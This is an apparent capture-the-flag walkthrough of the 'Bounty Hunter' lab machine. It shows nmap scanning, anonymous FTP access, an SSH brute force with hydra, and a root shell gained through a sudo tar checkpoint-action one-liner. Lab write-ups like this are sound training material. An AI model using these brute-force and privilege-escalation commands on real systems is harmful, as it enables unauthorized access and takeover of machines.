Bounty Hunter [Finished]

```
└─$ nmap -sC -sV -oN nmap/initial 10.10.85.34
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-29 22:58 EDT
Nmap scan report for 10.10.85.34
Host is up (0.20s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.13.29.232
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
|   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_  256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.23 seconds
```

After conducting an nmap scan we saw that 3 ports were open and the most interesting one was FTP and this was because it was able to login using default credentials so we then decided to try to login to the FTP server.

```
└─$ ftp 10.10.85.34
Connected to 10.10.85.34.
220 (vsFTPd 3.0.3)
Name (10.10.85.34:tyler): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
226 Transfer complete.
418 bytes received in 0.08 secs (4.8216 kB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
226 Transfer complete.
68 bytes received in 0.00 secs (75.3760 kB/s)
ftp> ^Z
zsh: suspended  ftp 10.10.85.34
```

After signing in to FTP we saw that there were 2 files named locks.txt and task.txt we used GET to download both of these files on our local machine

```
└─$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

Looking at this txt flile it states that it was written by someone named lin we could potentially use this to brute force a login so we will try to brute force using hydra

```
└─$ cat locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
```

The other text file contained what looked like passwords this could be used a word list for hydra and we could use that with the username lin

```
└─$ hydra -l lin -P locks.txt -u -f ssh://10.10.85.34:22 -t 4
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-29 23:01:37
[DATA] max 4 tasks per 1 server, overall 4 tasks, 26 login tries (l:1/p:26), ~7 tries per task
[DATA] attacking ssh://10.10.85.34:22/
[22][ssh] host: 10.10.85.34   login: lin   password: RedDr4gonSynd1cat3
[STATUS] attack finished for 10.10.85.34 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-29 23:01:45
```

After running hydra we were able to find out that the password was RedDr4gonSynd1cat3

```
└─$ ssh lin@10.10.85.34
The authenticity of host '10.10.85.34 (10.10.85.34)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.85.34' (ED25519) to the list of known hosts.
lin@10.10.85.34's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

83 packages can be updated.
0 updates are security updates.

Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
```

We then ssh'd into the system using the credentials that we found

```
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
# whoami
root
```

We then checked the users sudo permissions and was able to find that the user could run /bin/tar so we went to gtfobins and found a command that will escalate your privileges